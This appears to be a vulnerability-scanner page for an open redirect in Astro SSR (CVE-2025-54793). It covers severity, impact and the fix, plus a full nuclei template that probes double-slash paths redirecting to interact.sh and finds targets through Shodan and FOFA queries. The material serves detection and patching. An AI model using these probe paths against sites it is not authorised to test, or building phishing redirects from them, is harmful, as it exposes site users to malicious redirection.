Astro SSR - Open Redirect

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

Astro 5.2.0 through 5.12.7 contains an open redirect caused by improper handling of paths with double slashes in trailing slash redirection logic, letting attackers redirect users to arbitrary external domains, exploit requires on-demand SSR with Node or Cloudflare adapters.

Impact

Attackers can redirect users to malicious sites, increasing phishing and social engineering risks.

Fix

Upgrade to version 5.12.8 or later; alternatively, block outgoing redirects with Location headers starting with // at the network level.

How to confirm it

Send: GET {{BaseURL}}//interact.sh/en// ; GET {{BaseURL}}//interact.sh/en/ ; GET {{BaseURL}}//interact.sh/en
Positive when: status 301 or 302 or 307 or 308 AND matches in header /(?i)location:\s*//interact\.sh/

Run it with nuclei: nuclei -id CVE-2025-54793 -u <target>

The full check

id: CVE-2025-54793

info:
  name: Astro SSR - Open Redirect
  author: DhiyaneshDk
  severity: medium
  description: |
    Astro 5.2.0 through 5.12.7 contains an open redirect caused by improper handling of paths with double slashes in trailing slash redirection logic, letting attackers redirect users to arbitrary external domains, exploit requires on-demand SSR with Node or Cloudflare adapters.
  impact: |
    Attackers can redirect users to malicious sites, increasing phishing and social engineering risks.
  remediation: |
    Upgrade to version 5.12.8 or later; alternatively, block outgoing redirects with Location headers starting with // at the network level.
  reference:
    - https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54793
    - https://github.com/withastro/astro/commit/9ec88a04f93611cc07deff76ef6a18c88d6a77b9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-54793
    epss-score: 0.00727
    epss-percentile: 0.54482
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 3
    vendor: withastro
    product: astro
    shodan-query: http.component:"Astro"
    fofa-query: app="Astro"
  tags: cve,cve2025,astro,redirect,open-redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}//interact.sh/en//"
      - "{{BaseURL}}//interact.sh/en/"
      - "{{BaseURL}}//interact.sh/en"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 301
          - 302
          - 307
          - 308

      - type: regex
        part: header
        regex:
          - '(?i)location:\s*//interact\.sh'

References

Use this check only on systems you are authorised to test. Where the data comes from